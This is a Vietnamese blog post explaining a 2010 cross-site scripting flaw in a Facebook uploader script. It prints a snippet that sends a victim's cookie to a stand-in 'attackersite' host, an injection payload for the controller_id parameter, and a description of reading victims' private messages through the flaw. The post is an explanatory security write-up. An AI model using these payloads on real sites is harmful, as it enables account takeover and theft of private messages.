J2TEAM Security: A must-have extension for Chrome users. Install now!

Khai thác lỗ hổng XSS/CSS trên Facebook

Khai thác lỗ hổng XSS/CSS trên Facebook | Juno_okyo's Blog
2 min read
Cross Site Scripting (còn được gọi là XSS hay CSS) là một trong những kỹ thuật tấn công tầng ứng dụng (L7) phổ biến nhất.

Thông thường, hầu hết kiểu khai thác Cross-Site Scripting đều liên quan đến việc gửi cookie của nạn nhân tới máy của kẻ tấn công thông qua Javascript.


<script>
document.write("<img src='http://attackersite/a.gif?x=" + escape(document.cookie + "'>")
</script>[/i]
Trong khi khai thác lỗ hổng Cross-Site Scripting, kẻ tấn công sẽ không dựa vào cookie mà chúng đánh cắp được, mà attacker có thể tiêm code Javascript vào website của nạn nhân. Attacker cũng có thể thực hiện các hành động nguy hiểm khác.

Khai thác lỗ hổng XSS/CSS trên Facebook | Juno_okyo's Blog | http://junookyo.blogspot.com/

Trong trường hợp đối với Fb, quá trình được diễn ra như sau:

1. Đọc messages cá nhân của nạn nhân.
2. Lấy và chỉnh sửa ảnh cá nhân của nạn nhân.
3. Gửi thông điệp tới những contacts của nạn nhân.
4. Thêm những ứng dụng Facebook mới.
5. Đánh cắp contacts.

Mô tả chi tiết khai thác lỗ hổng Cross-Site Scripting trên Fb.

Facebook sử dụng PHP scripts. Scripts này đã bị khai thác từ tháng 7/2010. http://www.facebook....ve_uploader.php

Script chứa những thông số khác nhau, một trong số chúng - controller_id: đầu vào trực tiếp bên trong của một thẻ script của người dùng. Vd: http://www.facebook....0&post_upload=1

HTML body mà chúng ta cần quan tâm:

<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["c4c288b438ed080"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Bạn sẽ nhận thấy rằng giá trị controller_id (c4c288b438ed080) được viết trực tiếp bên trong đoạn Javascript của trang HTML. Bằng cách chèn double quote, attacker có khả năng thoát khỏi chuỗi key của array và chèn  Javascript trực tiếp bên trong một trang facebook.com, thay đổi thông số controller_id dễ dàng:

controller_id=test”]}; alert(“facebook test”); //

Điều này làm thay đổi nội dung sau:
<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["test"]}; alert("facebook test"); //"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Nội dung này sẽ chạy alert box:

Posted Image

Ở giai đoạn này attacker cần phải làm là đọc nội dung JSON giống như client-side scripts của Fb.

Cách thức khai thác lỗ hổng XSS để chiếm tài khoản Fb

Để đạt được mục đích này, attacker có thể gọi file mở rộng .js trên Web Server của anh ta để add thêm nhiều code.  Số frameworks giúp chuyên gia bảo mật hoặc attacker khai thác lỗ hổng CSS, giống như BeEF.

Trong TH này, chúng ta sẽ tùy biến code để chỉ định những tính năng nào được hiển thị.

Javascript code hướng dẫn web browser của nạn nhân đọc danh sách private messages tìm thấy trên http://www.facebook..../home/inbox.php. Code phân tích từng ID message. Với mỗi message, Javascript code của attacker sẽ đọc được message http://www.facebook..../ReadThread.php.

Cuối cùng, attacker có thể nhận được nội dung message trực tiếp từ máy chủ web server của anh ta.

Trong đoạn video dưới đây, chúng ta sẽ thấy cách thức attacker gửi nội dung nhạy cảm của victim thông qua Facebook chat.




Tham khảo thêm tại:

[1] - http://www.acunetix....e-scripting.htm
[i][2] - http://www.acunetix....ss-facebook.htm


Nguồn: Bảo Mật Hệ Thống.
Leader at J2TEAM. Website: https://j2team.dev/

Bạn có thể thích những bài đăng này

  • Mọi chuyện bắt đầu từ nắm 2013 trong quá trình xây dựng chức năng login với Facebook, tôi đã tìm ra một cách để tấn công vào các hệ thống login với Facebook khác. Để chứng minh phư…
  • Clickjacking là một loại hình tấn công liên quan trực tiếp với người dùng và không thể diễn ra nếu không có sự tham gia của người dùng. Theo nghĩa nào đó, Clickjacking một kỹ …
  • Chuyển hướng liên kết Facebook bị lỗi Mấy hôm nay thấy các liên kết trên Facebook dẫn ra ngoài đều không thể truy cập được do liên kết chuyển hướng (redirector) của Facebook b…
  • Đổi tên Page Facebook trên 200 Like Facebook chỉ chấp nhận đổi tên cho Page khi đang có dưới 200 người thích. Trong bài viết này, mình sẽ hướng dẫn các bạn đổi tên cho Page có …
  • Đem tính năng trả lời từng bình luận vào Facebook cá nhân với extension dành cho Chrome. Ra mắt kể từ đầu năm ngoái, tính năng Reply (trả lời) dành cho từng bình luận trên Faceboo…
  • Facebook là mạng xã hội lớn nhất hành tinh với hàng triệu người dùng trên khắp thế giới. Một vài người có nhiều hơn một tài khoản, nếu họ quyết định xóa những tài khoản không sử dụ…

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!